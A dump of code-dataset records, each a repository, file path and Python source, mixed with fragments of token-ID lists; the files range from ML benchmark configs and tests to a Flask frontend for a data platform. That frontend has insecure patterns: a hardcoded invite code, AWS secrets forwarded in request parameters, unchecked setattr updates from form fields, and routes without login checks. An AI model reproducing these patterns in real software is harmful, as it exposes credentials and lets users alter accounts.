("TSNE", "blobs", small_rows, default_dims, [{}]),
("NearestNeighbors", "blobs", small_rows, default_dims, [{}]),
("MBSGDClassifier", "blobs", large_rows, default_dims, [{}]),
("LogisticRegression", "classification", large_rows, default_dims,
[{}]),
("LinearRegression", "regression", large_rows, default_dims, [{}]),
("Lasso", "regression", large_rows, default_dims, [{}]),
("ElasticNet", "regression", large_rows, default_dims, [{}]),
("PCA", "blobs", large_rows, [32, 256],
expand_params("n_components", [2, 25])),
("tSVD", "blobs", large_rows, [32, 256],
expand_params("n_components", [2, 25]),),
("GaussianRandomProjection", "blobs", large_rows, [32, 256],
expand_params("n_components", [2, 25]),),
]
for algo_name, dataset_name, rows, dims, params in algo_defs:
configs.append(
dict(
algo_name=algo_name,
dataset_name=dataset_name,
bench_rows=rows,
bench_dims=dims,
param_override_list=params,
)
)
# Explore some more interesting params for RF
if long_config:
configs += [
dict(
algo_name="RandomForestClassifier",
dataset_name="classification",
bench_rows=small_rows,
bench_dims=default_dims,
cuml_param_override_list=[
{"n_bins": [8, 32]},
{"split_algo": [0, 1]},
{"max_features": ['sqrt', 1.0]},
],
)
]
return configs
bench_config = {
"short": make_bench_configs(False),
"long": make_bench_configs(True),
}
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(
prog='ci_benchmark',
description='''
Tool for running benchmarks in CI
''',
)
parser.add_argument(
"--benchmark", type=str, choices=bench_config.keys(), default="short"
)
parser.add_argument('--asvdb', required=False, type=str)
args = parser.parse_args()
bench_to_run = bench_config[args.benchmark]
default_args = dict(run_cpu=False)
all_results = []
for cfg_in in bench_to_run:
# Pass an actual algo object instead of an algo_name string
cfg = cfg_in.copy()
algo = algorithms.algorithm_by_name(cfg_in["algo_name"])
cfg["algos"] = [algo]
del cfg["algo_name"]
res = run_variations(**{**default_args, **cfg})
all_results.append(res)
results_df = pd.concat(all_results)
print(results_df)
if args.asvdb:
report_asv(results_df, args.asvdb)
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2
] |
fgivenx/test/test_mass.py | ejhigson/fgivenx | 11 | 11716 | import numpy
import pytest
import os
from shutil import rmtree
from numpy.testing import assert_allclose
import scipy.stats
import scipy.integrate
import scipy.special
from fgivenx.mass import PMF, compute_pmf
def gaussian_pmf(y, mu=0, sigma=1):
return scipy.special.erfc(numpy.abs(y-mu)/numpy.sqrt(2)/sigma)
def test_gaussian():
numpy.random.seed(0)
nsamp = 5000
samples = numpy.random.randn(nsamp)
y = numpy.random.uniform(-3, 3, 10)
m = PMF(samples, y)
m_ = gaussian_pmf(y)
assert_allclose(m, m_, rtol=3e-1)
def test_PMF():
# Compute samples
numpy.random.seed(0)
nsamp = 100
samples = numpy.concatenate((-5+numpy.random.randn(nsamp//2),
5+numpy.random.randn(nsamp//2)))
# Compute PMF
y = numpy.random.uniform(-10, 10, 10)
m = PMF(samples, y)
# Compute PMF via monte carlo
N = 100000
kernel = scipy.stats.gaussian_kde(samples)
s = kernel.resample(N)[0]
m_ = [sum(kernel(s) <= kernel(y_i))/float(N) for y_i in y]
assert_allclose(m, m_, atol=3*N**-0.5)
# Compute PMF via quadrature
m_ = [scipy.integrate.quad(lambda x: kernel(x)*(kernel(x) <= kernel(y_i)),
-numpy.inf, numpy.inf, limit=500)[0]
for y_i in y]
assert_allclose(m, m_, atol=1e-4)
assert_allclose([0, 0], PMF(samples, [-1e3, 1e3]))
samples = [0, 0]
m = PMF(samples, y)
assert_allclose(m, numpy.zeros_like(y))
def test_compute_pmf():
with pytest.raises(TypeError):
compute_pmf(None, None, wrong_argument=None)
cache = '.test_cache/test'
numpy.random.seed(0)
nsamp = 5000
a, b, e, f = 0, 1, 0, 1
m = numpy.random.normal(a, b, nsamp)
c = numpy.random.normal(e, f, nsamp)
nx = 100
x = numpy.linspace(-1, 1, nx)
fsamps = (numpy.outer(x, m) + c)
ny = 100
y = numpy.linspace(-3, 3, ny)
assert(not os.path.isfile(cache + '_masses.pkl'))
m = compute_pmf(fsamps, y, cache=cache)
assert(os.path.isfile(cache + '_masses.pkl'))
m_ = [gaussian_pmf(y, a*xi+e, numpy.sqrt(b**2*xi**2+f**2)) for xi in x]
assert_allclose(m.transpose(), m_, atol=3e-1)
m = compute_pmf(fsamps, y, cache=cache)
assert_allclose(m.transpose(), m_, atol=3e-1)
rmtree('.test_cache')
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FSMSIM/expr/__init__.py | FSMSIM/FSMSIM | 0 | 175120 | from FSMSIM.expr.and_expr import *
from FSMSIM.expr.arr_access_expr import *
from FSMSIM.expr.arr_expr import *
from FSMSIM.expr.bool_expr import *
from FSMSIM.expr.concat_expr import *
from FSMSIM.expr.eq_expr import *
from FSMSIM.expr.expr import *
from FSMSIM.expr.neq_expr import *
from FSMSIM.expr.or_expr import *
from FSMSIM.expr.output_expr import *
from FSMSIM.expr.slice_expr import *
from FSMSIM.expr.string_expr import *
from FSMSIM.expr.var_expr import *
| [
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] |
alembic/versions/1d3b0df7f698_add_users_table.py | go-lab/appcomposer | 1 | 126982 | <filename>alembic/versions/1d3b0df7f698_add_users_table.py
"""Add Users table
Revision ID: <PASSWORD>
Revises: None
Create Date: 2013-09-16 13:16:21.622369
"""
# revision identifiers, used by Alembic.
revision = '<PASSWORD>'
down_revision = None
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by Alembic - please adjust! ###
op.create_table('Users',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('login', sa.Unicode(length=50), nullable=True),
sa.Column('name', sa.Unicode(length=50), nullable=False),
sa.Column('password', sa.Unicode(length=50), nullable=False),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('login')
)
### end Alembic commands ###
def downgrade():
### commands auto generated by Alembic - please adjust! ###
op.drop_table('Users')
### end Alembic commands ###
| [
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2848,
29922,
29945,
29900,
511,
1870,
519,
29922,
8824,
511,
13,
1678,
872,
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26666,
2558,
21529,
877,
333,
5477,
13,
1678,
872,
29889,
8110,
802,
21529,
877,
7507,
1495,
13,
1678,
1723,
13,
1678,
835,
1095,
319,
2409,
29890,
293,
8260,
835,
13,
13,
13,
1753,
1623,
8228,
7295,
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1495,
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1678,
835,
1095,
319,
2409,
29890,
293,
8260,
835,
13,
2
] |
pythonexercicios/ex074.py | andrebatist4/cursoemvideo-python | 0 | 150846 | <gh_stars>0
import numpy as np
alea = (np.random.randint(0, 10, (5)))
print(alea)
print(f'O maior número sorteado foi {max(alea)}')
print(f'O menor número sorteado foi {min(alea)}')
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proud/unification/interface.py | RemuLang/proud | 16 | 88561 | <gh_stars>10-100
from proud.unification.type_encode import *
from proud.unification.tc_make import make
from contextlib import contextmanager
import typing as t
class TCState:
def __init__(self):
make(self)
def push_level(self) -> Level:
raise NotImplementedError
def new_var(self, *props, Var=None, **kwargs) -> Var:
raise NotImplementedError
def user_var(self, *props, Var=None, **kwargs) -> Var:
"""
create a tv, which can be treated as a closed one
for all levels
"""
raise NotImplementedError
def occur_in(self, var: T, ty: T) -> bool:
raise NotImplementedError
def inst(self, maybepoly: T, rigid=False) -> t.Tuple[t.Dict[T, Var], T]:
raise NotImplementedError
def infer(self, ty: T) -> T:
raise NotImplementedError
def unify(self, lhs: T, rhs: T) -> None:
raise NotImplementedError
def extract_row(self, rowt: Row) -> t.Optional[t.Dict[str, T]]:
raise NotImplementedError
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] |
pbj/electrostatics/pb_formulation/__init__.py | kstylesc/PBJ | 0 | 152100 | import pbj.electrostatics.pb_formulation.formulations as formulations
import pbj.electrostatics.pb_formulation.preconditioning as preconditioning | [
1,
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292,
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] |
200-299/200-209/202.py | dcragusa/LeetCode | 0 | 52737 | """
Write an algorithm to determine if a number n is happy.
A happy number is a number defined by the following process:
- Starting with any positive integer, replace the number by the sum of the squares of its digits.
- Repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle without 1.
- Those numbers for which this process ends in 1 are happy.
Example 1:
Input: n = 19, Output: true
Explanation:
1^2 + 9^2 = 82
8^2 + 2^2 = 68
6^2 + 8^2 = 100
1^2 + 0^2 + 0^2 = 1
Example 2:
Input: n = 2
Output: false
Explanation:
2^2 = 4
4^2 = 16
1^2 + 6^2 = 37
3^2 + 7^2 = 58
5^2 + 8^2 = 89
8^2 + 9^2 = 145
1^2 + 4^2 + 5^2 = 42
4^2 + 2^2 = 20
2^2 + 0^2 = 4 <-- cycle without 1
"""
"""
We repeatedly perform the 'happy' determination for each number, then add it to a set, until we find a number we have
seen before. If this number is a 1, the overall number is happy.
"""
def is_happy(n):
seen = set()
while n not in seen:
seen.add(n)
new_n = 0
for char in str(n):
new_n += int(char) ** 2
n = new_n
return n == 1
assert is_happy(19) is True
assert is_happy(2) is False
| [
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29906,
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338,
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] |
sesame/utils.py | GamePad64/django-sesame | 0 | 35123 | <reponame>GamePad64/django-sesame<gh_stars>0
from __future__ import unicode_literals
from .backends import UrlAuthBackendMixin
from .compatibility import urlencode
from .middleware import TOKEN_NAME
def get_parameters(user):
"""
Return GET parameters to log in `user`.
"""
return {TOKEN_NAME: UrlAuthBackendMixin().create_token(user)}
def get_query_string(user):
"""
Return a complete query string to log in `user`.
"""
return '?' + urlencode(get_parameters(user))
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2
] |
frontend/main.py | boazjohn/quarryio | 1 | 118465 | #!/usr/bin/python
# Standard Library
import argparse
import datetime
import json
import logging
import os
import subprocess
from functools import wraps
# Third Party
import requests
import mixingboard
from chassis.database import db_session
from chassis.models import User, Account, JobHistory, Notification, Token
from flask import Flask, redirect, jsonify, render_template, request, \
session, url_for
from sqlalchemy import or_
# Local
from api.main import api
# parse args
argParser = argparse.ArgumentParser(description='Run the Quarry server.')
argParser.add_argument('-d', '--debug', action='store_true', help='Turn on debug mode')
argParser.add_argument('-p', '--port', type=int, default=9000, help='Set the port')
argParser.add_argument('-H', '--host', type=str, default='127.0.0.1', help='Set the port')
argParser.add_argument('--no-sass', action='store_true', help='Disable sass compilation/watching')
args, _ = argParser.parse_known_args()
# put args in sensible all caps variables
DEBUG = args.debug
HOST = args.host
PORT = args.port
NO_SASS = args.no_sass
# set up logging
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
# start the sass watcher if needed
if DEBUG and not NO_SASS:
logger.info("Starting SASS watcher...")
directory = os.path.dirname(os.path.abspath(__file__))
subprocess.Popen("sass --watch -l %s/static/sass/style.sass:%s/static/css/style.css" % (directory, directory), shell=True)
# create flask app
app = Flask(__name__, static_url_path='/static', static_folder='./static')
app.secret_key = '<KEY>'
app.register_blueprint(api, url_prefix='/beta')
@app.context_processor
def override_url_for():
return dict(url_for=dated_url_for)
def dated_url_for(endpoint, **values):
if endpoint == 'static':
filename = values.get('filename', None)
if filename:
file_path = os.path.join(app.root_path,
endpoint, filename)
values['q'] = int(os.stat(file_path).st_mtime)
return url_for(endpoint, **values)
@app.teardown_appcontext
def shutdown_session(exception=None):
db_session.remove()
# authentication stuff
def requiresLogin(fn):
@wraps(fn)
def authFn(*args, **kwargs):
if 'user' in session:
return fn(*args, **kwargs)
else:
return jsonify({
"error": "This method requires an authenticated user"
}), 400
return authFn
@app.route('/api/histories/<jobType>')
def history(jobType):
"""
Retrieve job history for a user/account
GetParams:
account: an account
user: a user
Returns:
a json object conatining a list of saved queries
"""
account = session['user']['account']['id']
user = session['user']['id']
offset = int(request.args.get("offset",0))
count = int(request.args.get("count",20))
# TODO allow filtering to individual user
histories = []
for history in JobHistory.query.filter(JobHistory.account_id == account, JobHistory.job_type==jobType) \
.order_by(JobHistory.created.desc()).limit(count).offset(offset):
histories.append(history.dict())
return jsonify({
"histories": histories
})
@app.route('/api/notifications')
def notifications():
"""
Retrieve notifications for a user/account
GetParams:
account: an account
user: a user
Returns:
a json object conatining a list of saved queries
"""
account = session['user']['account']['id']
user = session['user']['id']
offset = int(request.args.get("offset",0))
count = int(request.args.get("count",20))
# TODO allow filtering to individual user
notifications = []
for notification in Notification.query.filter(Notification.account_id == account, or_(Notification.user_id == user,
Notification.user_id == None), Notification.read == None) \
.order_by(Notification.created.desc()).limit(count).offset(offset):
notifications.append(notification.dict())
return jsonify({
"notifications": notifications
})
@app.route('/api/notification/<notificationId>/read', methods=["POST"])
def notification_read(notificationId):
"""
Mark a notification as read
GetParams:
account: an account
user: a user
Returns:
a json object conatining a list of saved queries
"""
account = session['user']['account']['id']
user = session['user']['id']
notification = Notification.query.filter(Notification.account_id == account, or_(Notification.user_id == user,
Notification.user_id == None), Notification.id == notificationId).first()
notification.markRead()
db_session.add(notification)
db_session.commit()
return jsonify({
"notification": notification.dict()
})
@app.route('/api/jaunt/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
@requiresLogin
def jaunt(path):
"""
Forward a request to the jaunt service. No params or
returns in this doc string as it is for the most part a
passthrough method.
"""
args = dict(request.args.items())
form = dict(request.form.items())
method = request.method
url = "".join([JAUNT_URL_FORMAT, path])
account = session['user']['account']['id']
user = session['user']['id']
args['account'] = account
args['user'] = user
form['account'] = account
form['user'] = user
accountObj = Account.query.filter(Account.id == account).first()
awsKey = accountObj.access_key_id
awsSecret = accountObj.access_key_secret
s3Bucket = mixingboard.getConf("s3_bucket")
args['awsKey'] = awsKey
form['awsKey'] = awsKey
args['awsSecret'] = awsSecret
form['awsSecret'] = awsSecret
args['s3Bucket'] = s3Bucket
form['s3Bucket'] = s3Bucket
args['warehouseDir'] = "/user/%s/shark/warehouse" % accountObj.iam_username
form['warehouseDir'] = "/user/%s/shark/warehouse" % accountObj.iam_username
res = getattr(requests, method.lower())(url, params=args, data=form)
return res.text, res.status_code
@app.route('/api/lego/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
@requiresLogin
def lego(path):
"""
Forward a request to the lego service. No params or
returns in this doc string as it is for the most part a
passthrough method.
"""
args = dict(request.args.items())
form = dict(request.form.items())
method = request.method
url = "".join([LEGO_URL_FORMAT, path])
account = session['user']['account']['id']
user = session['user']['id']
args['account'] = account
args['user'] = user
form['account'] = account
form['user'] = user
res = getattr(requests, method.lower())(url, params=args, data=form)
return res.text, res.status_code
@app.route('/api/shark/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
@requiresLogin
def shark(path):
"""
Forward a request to the shark service. No params or
returns in this doc string as it is for the most part a
passthrough method.
"""
args = dict(request.args.items())
form = dict(request.form.items())
method = request.method
url = "".join([SHARK_URL_FORMAT, path])
account = session['user']['account']['id']
user = session['user']['id']
args['account'] = account
args['user'] = user
form['account'] = account
form['user'] = user
res = getattr(requests, method.lower())(url, params=args, data=form)
return res.text, res.status_code
@app.route('/api/redshirt/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
@requiresLogin
def redshirt(path):
"""
Forward a request to the redshirt service. No params or
returns in this doc string as it is for the most part a
passthrough method.
"""
args = dict(request.args.items())
form = dict(request.form.items())
method = request.method
url = "".join([REDSHIRT_URL_FORMAT, path])
account = session['user']['account']['id']
user = session['user']['id']
args['account'] = account
args['user'] = user
form['account'] = account
form['user'] = user
res = getattr(requests, method.lower())(url, params=args, data=form)
return res.text, res.status_code
@app.route('/api/flint/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
@requiresLogin
def flint(path):
"""
Forward a request to the redshirt service. No params or
returns in this doc string as it is for the most part a
passthrough method.
"""
args = dict(request.args.items())
form = dict(request.form.items())
method = request.method
url = "".join([FLINT_URL_FORMAT, path])
account = session['user']['account']['id']
user = session['user']['id']
args['account'] = account
args['user'] = user
form['account'] = account
form['user'] = user
res = getattr(requests, method.lower())(url, params=args, data=form)
return res.text, res.status_code
@app.route('/api/account')
@requiresLogin
def account():
account = Account.query.filter(Account.id == session['user']['account_id']).first()
return jsonify({
"account": account.dict()
})
@app.route('/api/account/secret')
@requiresLogin
def account_secret():
account = Account.query.filter(Account.id == session['user']['account_id']).first()
return jsonify({
"secret": account.iam_username
})
@app.route('/api/account/storage')
@requiresLogin
def account_storage():
account = Account.query.filter(Account.id == session['user']['account_id']).first()
return jsonify({
"storageUsed": account.getStorageUsage()
})
@app.route('/api/account/users')
@requiresLogin
def account_users():
account = Account.query.filter(Account.id == session['user']['account_id']).first()
users = [user.dict() for user in account.users]
return jsonify({
"users": users
})
@app.route('/api/user/me')
@requiresLogin
def user_me():
user = User.query.filter(User.id == session['user']['id']).first()
session['user'] = user.dict()
session['user']['account'] = user.account.dict()
return jsonify({
"user": session['user']
})
INVITE_CODE = '3fYsq96iSquvmRsMTzkdg'
@app.route('/api/signup', methods=['POST'])
def signup():
name = request.form['name']
email = request.form['email']
password = request.form['password']
inviteCode = request.form['inviteCode']
organization = request.form['organization']
if inviteCode != INVITE_CODE:
return jsonify({
"error": "Invalid invite code. If you were given an invite code, email <EMAIL> for help."
}), 400
# FIXME allow users to be added to existing accounts
account = Account(organization)
db_session.add(account)
db_session.commit()
try:
user = User(name=name, email=email, password=password, accountId=account.id)
except Exception as e:
return jsonify({
"error": e.message
}), 400
db_session.add(user)
db_session.commit()
session['user'] = user.dict()
session['user']['account'] = user.account.dict()
return jsonify({
"user": user.dict()
})
@app.route('/api/login', methods=['POST'])
def login():
email = request.form['email']
password = request.form['password']
user = User.query.filter(User.email == email).first()
if user is None:
return jsonify({
"error": "No user exists with that email"
}), 400
if user.checkPassword(password):
session['user'] = user.dict()
session['user']['account'] = user.account.dict()
return jsonify({
"success": True,
"message": "Successfully logged in",
"user": session['user']
})
else:
return jsonify({
"error": "Your password is incorrect"
}), 400
@app.route('/api/account/update', methods=['POST'])
def update_account():
"""
Update an account
"""
account = Account.query.filter(Account.id == session['user']['account']['id']).first()
for key, value in request.form.items():
setattr(account, key, value)
db_session.add(account)
db_session.commit()
session['user']['account'] = account.dict()
return jsonify({
"account": session['user']['account']
})
@app.route('/api/user/me/update', methods=['POST'])
def update_user():
"""
Update a user
"""
user = User.query.filter(User.id == session['user']['id']).first()
for key, value in request.form.items():
setattr(user, key, value)
db_session.add(user)
db_session.commit()
session['user'] = user.dict()
session['user']['account'] = user.account.dict()
return jsonify({
"user": session['user']
})
@app.route('/api/logout')
def logout():
del session['user']
return redirect("/")
@app.route('/<path:path>')
def reroute(path):
return redirect("/#/%s" % path)
@app.route('/')
def index():
user = session.get('user', 'null')
if user != 'null':
user = User.query.filter(User.id == session['user']['id']).first()
if user:
session['user'] = user.dict()
session['user']['account'] = user.account.dict()
session['user']['account']['users'] = [user.dict() for user in user.account.users]
return render_template('base.html', user=json.dumps(session.get('user', None)))
# setup shark configurations
global SHARK_URL_FORMAT
SHARK_URL_FORMAT = None
def setSharkURLFormat(sharkServers):
global SHARK_URL_FORMAT
shark = sharkServers[0]
SHARK_URL_FORMAT = "http://%s:%s/shark/" % (shark["host"], shark["port"])
logging.info("GOT SHARK SERVICE: %s" % SHARK_URL_FORMAT)
mixingboard.discoverService("shark",setSharkURLFormat)
# setup lego configurations
global LEGO_URL_FORMAT
LEGO_URL_FORMAT = None
def setLegoURLFormat(legoServers):
global LEGO_URL_FORMAT
lego = legoServers[0]
LEGO_URL_FORMAT = "http://%s:%s/lego/" % (lego["host"], lego["port"])
logging.info("GOT LEGO SERVICE: %s" % LEGO_URL_FORMAT)
mixingboard.discoverService("lego",setLegoURLFormat)
# setup jaunt configurations
global JAUNT_URL_FORMAT
JAUNT_URL_FORMAT = None
def setJauntURLFormat(jauntServers):
global JAUNT_URL_FORMAT
jauntServer = jauntServers[0]
JAUNT_URL_FORMAT = "http://%s:%s/jaunt/" % (jauntServer["host"], jauntServer["port"])
logging.info("GOT JAUNT SERVICE: %s" % JAUNT_URL_FORMAT)
mixingboard.discoverService("jaunt",setJauntURLFormat)
# setup redshirt configurations
global REDSHIRT_URL_FORMAT
REDSHIRT_URL_FORMAT = None
def setSharkURLFormat(redShirtServers):
global REDSHIRT_URL_FORMAT
redShirt = redShirtServers[0]
REDSHIRT_URL_FORMAT = "http://%s:%s/redshirt/" % (redShirt["host"], redShirt["port"])
logging.info("GOT REDSHIRT SERVICE: %s" % REDSHIRT_URL_FORMAT)
mixingboard.discoverService("redshirt",setSharkURLFormat)
# setup flint configurations
global FLINT_URL_FORMAT
FLINT_URL_FORMAT = None
def setFlintURLFormat(flintServers):
global FLINT_URL_FORMAT
flint = flintServers[0]
FLINT_URL_FORMAT = "http://%s:%s/flint/" % (flint["host"], flint["port"])
logging.info("GOT FLINT SERVICE: %s" % FLINT_URL_FORMAT)
mixingboard.discoverService("flint",setFlintURLFormat)
if __name__ == "__main__":
mixingboard.exposeService("frontend", port=PORT)
app.run(debug=DEBUG, port=PORT, host=HOST, threaded=True)
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] |
our_interfaceGAN/celebahq_utils/dex/networks/classifiers/attribute_utils.py | BillyXYB/TransEditor | 4 | 95056 | import torch
import os
from . import attribute_classifier
import glob
softmax = torch.nn.Softmax(dim=1)
def downsample(images, size=256):
# Downsample to 256x256. The attribute classifiers were built for 256x256.
# follows https://github.com/NVlabs/stylegan/blob/master/metrics/linear_separability.py#L127
if images.shape[2] > size:
factor = images.shape[2] // size
assert(factor * size == images.shape[2])
images = images.view([-1, images.shape[1], images.shape[2] // factor, factor, images.shape[3] // factor, factor])
images = images.mean(dim=[3, 5])
return images
else:
assert(images.shape[-1] == 256)
return images
def get_logit(net, im):
im_256 = downsample(im)
logit = net(im_256)
return logit
def get_softmaxed(net, im):
logit = get_logit(net, im)
softmaxed = softmax(torch.cat([logit, -logit], dim=1))[:, 1]
# logit is (N,) softmaxed is (N,)
return logit[:, 0], softmaxed
def load_attribute_classifier(attribute, ckpt_path=None):
if ckpt_path is None:
base_path = os.path.abspath(__file__+"/../../../pth_celeba")
attribute_pkl = os.path.join(base_path, attribute, 'net_best.pth')
ckpt = torch.load(attribute_pkl)
else:
ckpt = torch.load(ckpt_path)
# print("Using classifier at epoch: %d" % ckpt['epoch'])
if 'valacc' in ckpt.keys():
print("Validation acc on raw images: %0.5f" % ckpt['valacc'])
detector = attribute_classifier.from_state_dict(
ckpt['state_dict'], fixed_size=True, use_mbstd=False).cuda().eval()
return detector
class ClassifierWrapper(torch.nn.Module):
def __init__(self, classifier_name, ckpt_path=None, device='cuda'):
super(ClassifierWrapper, self).__init__()
self.net = load_attribute_classifier(classifier_name, ckpt_path).eval().to(device)
def forward(self, ims, no_soft=False):
# returns (N,) softmax values for binary classification
if not no_soft:
return get_softmaxed(self.net, ims)[1]
else:
return get_softmaxed(self.net, ims)[0]
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] |
CPAC/nuisance/__init__.py | gkiar/C-PAC | 125 | 94102 | from .utils import (
find_offending_time_points,
temporal_variance_mask,
generate_summarize_tissue_mask,
NuisanceRegressor
)
from .nuisance import (
create_regressor_workflow,
create_nuisance_regression_workflow,
filtering_bold_and_regressors
)
from .bandpass import (
bandpass_voxels
)
from .utils.compcor import (
cosine_filter
)
__all__ = [
'create_regressor_workflow',
'create_nuisance_regression_workflow',
'filtering_bold_and_regressors',
'find_offending_time_points',
'temporal_variance_mask',
'generate_summarize_tissue_mask',
'bandpass_voxels',
'cosine_filter'
] | [
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13,
1678,
525,
3258,
29918,
276,
3663,
272,
29918,
1287,
1731,
742,
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1678,
525,
3258,
29918,
3433,
275,
749,
29918,
276,
11476,
29918,
1287,
1731,
742,
13,
1678,
525,
4572,
292,
29918,
8934,
29918,
392,
29918,
276,
3663,
943,
742,
13,
1678,
525,
2886,
29918,
2696,
2548,
29918,
2230,
29918,
9748,
742,
13,
1678,
525,
1356,
1971,
284,
29918,
1707,
8837,
29918,
13168,
742,
13,
1678,
525,
17158,
29918,
2083,
3034,
675,
29918,
29873,
15118,
29918,
13168,
742,
13,
1678,
525,
4980,
3364,
29918,
1365,
29916,
1379,
742,
13,
1678,
525,
3944,
457,
29918,
4572,
29915,
13,
29962,
2
] |
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